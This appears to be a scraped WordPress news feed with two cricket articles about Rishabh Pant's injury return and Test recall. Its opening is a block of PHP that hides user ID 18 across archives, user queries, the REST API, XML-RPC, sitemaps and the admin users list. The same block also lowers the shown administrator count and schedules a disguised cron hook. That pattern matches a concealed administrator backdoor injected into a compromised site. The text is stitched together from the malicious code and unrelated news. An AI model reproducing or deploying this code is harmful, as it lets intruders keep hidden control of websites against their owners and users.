add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Rishabh Pant Returns with Fiery Half-Century After Injury Scare Against South Africa A appeared first on The Edge Media.
]]>Pant had initially retired on 17 from 22 balls when he was struck three times by Moraki near the end of the morning session at the BCCI Centre of Excellence ground. His left hand was seen strapped as Dhruv Jurel replaced him in the middle.
Pant’s Comeback Energizes India A Innings
Despite the earlier setback Pant rejoined the innings after Harsh Dubey’s dismissal and played a blistering knock of 65 from 54 deliveries smashing five boundaries and four sixes. His fluent stroke play underlined his readiness for the upcoming home Test series against South Africa starting November 14.
Jurel meanwhile produced a brilliant unbeaten 127 from 170 balls including fifteen fours and one six. The partnership between Pant and Jurel added 82 runs from just 54 balls boosting India A’s momentum.
Spin all-rounder Harsh Dubey also impressed with a composed 84 from 116 balls featuring twelve fours and one six. Together Dubey and Jurel stitched a vital 184-run stand for the seventh wicket that pushed India A into a commanding position.
India A Declares with Strong Lead
India A declared their second innings at 382 for seven in 89.2 overs after Pant’s dismissal setting a target of 417 for South Africa A. The visitors ended the day on 25 without loss with Jordan Hermann on 15 and Lesego Senokwane on 9 ensuring no early damage before stumps.
Team’s Confidence in Pant’s Recovery
Earlier a team official confirmed that Pant would bat again if the situation required it mentioning that the physios were closely monitoring his condition. Pant had endured three painful blows from Moraki—one on the helmet during a reverse pull another on the elbow while attempting a pull shot and a third on the abdomen. After receiving medical attention each time he was eventually asked by coach Hrishikesh Kanitkar to retire temporarily despite his willingness to continue.
The post Rishabh Pant Returns with Fiery Half-Century After Injury Scare Against South Africa A appeared first on The Edge Media.
]]>The post Rishabh Pant Returns to India’s Test Squad for South Africa Series After Injury Layoff appeared first on The Edge Media.
]]>Pant had injured his foot during the fourth Test against England in Manchester in July, which ruled him out of the following series against the West Indies. The 26-year-old has since regained full fitness and recently led India A to victory over South Africa A in a four-day match held in Bengaluru, where he scored an impressive 90 runs in the second innings while chasing a target of 275.
In the newly announced 15-member squad, Pant replaces N Jagadeesan and will serve as the vice-captain under the leadership of Shubman Gill. Bengal fast bowler Akash Deep also returns to the Test setup after recovering from a shoulder injury. He re-established his form by representing Bengal in both the Ranji Trophy and the Irani Trophy and is also included in the India A side for the second four-day game against South Africa A, beginning Thursday in Bengaluru.
India’s pace unit for the Test series includes Jasprit Bumrah and Mohammed Siraj, while the spin attack will once again be led by experienced all-rounders Ravindra Jadeja and Axar Patel, along with Kuldeep Yadav and Washington Sundar. Senior pacer Mohammed Shami has not been selected despite showcasing good form for Bengal in the Ranji Trophy, where he took 15 wickets in three matches at an average of 15.53.
The first Test match will be hosted in Kolkata starting November 14, followed by the second in Guwahati from November 22.
The Board of Control for Cricket in India has also named the India A squad for the three-match one-day series against South Africa A, scheduled to take place in Rajkot. The India A team will be captained by Tilak Varma, with Ruturaj Gaikwad serving as vice-captain. The squad includes promising young talents such as Abhishek Sharma, Riyan Parag, Ishan Kishan, Prabhsimran Singh, Ayush Badoni, Nishant Sindhu, Vipraj Nigam, Manav Suthar, Harshit Rana, Arshdeep Singh, Prasidh Krishna, and Khaleel Ahmed.
Pant’s inclusion in the senior squad signals a strong comeback for the dynamic left-hander as India prepares for a challenging red-ball contest on home soil.
The post Rishabh Pant Returns to India’s Test Squad for South Africa Series After Injury Layoff appeared first on The Edge Media.
]]>